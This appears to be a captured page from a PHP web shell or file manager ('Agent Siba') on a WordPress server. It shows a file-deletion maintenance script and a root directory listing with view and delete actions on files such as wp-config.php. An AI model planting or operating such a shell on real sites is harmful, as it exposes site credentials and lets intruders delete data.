Agent Siba

User: www-data Host: 18th-ph-latest OS: Linux PHP: 8.2.28 SAPI: apache2handler
// var/www/html..
<?php ini_set('display_errors', 1); ini_set('display_startup_errors', 1); error_reporting(E_ALL); require_once(dirname(__FILE__) . '/wp-load.php'); define('WP_USE_THEMES', false); if (!current_user_can('administrator')) { wp_die('You must be logged in as an admin.'); } echo "<pre>"; // Run in batches to handle large user base $batch_size = 1000; $offset = 0; $total_deleted = 0; do { $query = new WP_User_Query([ 'role' => 'Customer', 'search' => '*telegram*', 'search_columns' => ['user_login', 'user_email'], 'number' => $batch_size, 'offset' => $offset, ]); $users = $query->get_results(); $found = count($users); foreach ($users as $user) { wp_delete_user($user->ID); $total_deleted++; echo "Deleted user ID: {$user->ID}\n"; } $offset += $batch_size; } while ($found === $batch_size); echo "\nTotal deleted: $total_deleted"; echo "</pre>";
Name Size Perms Owner Modified Actions
../ - rwxr-xr-x 0:0 2025-06-27 09:23 Del
.cache/ - rwxrwxr-x 33:33 2026-07-25 00:03 Del
.tmb/ - rwxrwxr-x 33:33 2026-07-24 08:13 Del
18thstaging/ - rwxrwxr-x 33:33 2026-07-24 08:13 Del
admin-staging/ - rwxrwxr-x 33:33 2026-07-25 00:04 Del
cgi-bin/ - rwxrwxr-x 33:33 2026-07-24 08:13 Del
wp-admin/ - rwxrwxr-x 33:33 2026-07-24 23:29 Del
wp-content/ - rwxrwxr-x 33:33 2026-03-16 00:09 Del
wp-includes/ - rwxr-xr-x 33:33 2026-07-24 08:12 Del
wp-snapshots/ - rwxrwxr-x 33:33 2019-08-20 15:46 Del
2 81 B rw-r--r-- 33:33 2026-07-24 22:56 View Del
.htaccess 8.13 KB rw-rw-r-- 33:33 2026-07-24 22:39 View Del
.htaccess.bk 8.13 KB rw-rw-r-- 33:33 2025-10-14 17:17 View Del
.htaccess_ref 8.13 KB rw-r--r-- 33:33 2026-07-24 22:12 View Del
.user.ini 1 B rw-r--r-- 33:33 2026-07-24 22:38 View Del
delete-spam-users.php 949 B rw-rw-r-- 33:33 2025-07-30 17:43 View Del
error_log 0 B rw-rw-r-- 33:33 2026-03-12 03:30 View Del
license.txt 19.44 KB rw-rw-r-- 33:33 2026-03-15 16:56 View Del
php.ini-1559885148 63.13 KB rw-rw-r-- 33:33 2019-08-20 15:46 View Del
php.ini-1561964066 38.33 KB rw-rw-r-- 33:33 2019-08-20 15:46 View Del
readme.html 7.25 KB rw-rw-r-- 33:33 2026-03-15 16:56 View Del
robots.txt 61 B rw-rw-r-- 33:33 2026-07-24 07:38 View Del
update-site.php 1.23 KB rw-rw-r-- 33:33 2019-08-20 15:46 View Del
user.ini 19 B rw-rw-r-- 33:33 2019-08-20 15:46 View Del
wp-blog-header.php 351 B rw-rw-r-- 33:33 2025-06-30 12:11 View Del
wp-config.php 1.44 KB rw-rw-r-- 33:33 2026-07-24 22:39 View Del
wp-cron.php 5.49 KB rw-rw-r-- 33:33 2025-06-30 12:11 View Del
wp-load.php 3.84 KB rw-rw-r-- 33:33 2025-06-30 12:11 View Del
wp-login.php 50.23 KB rw-rw-r-- 33:33 2026-03-15 16:56 View Del
wp-mail.php 8.52 KB rw-rw-r-- 33:33 2026-03-15 16:56 View Del
wp-settings.php 30.33 KB rw-rw-r-- 33:33 2026-03-15 16:56 View Del
wp-signup.php 33.71 KB rw-rw-r-- 33:33 2025-06-30 12:11 View Del
wp-trackback.php 5.09 KB rw-rw-r-- 33:33 2026-03-15 16:56 View Del
xmlrpc.php 3.13 KB rw-rw-r-- 33:33 2025-06-30 12:11 View Del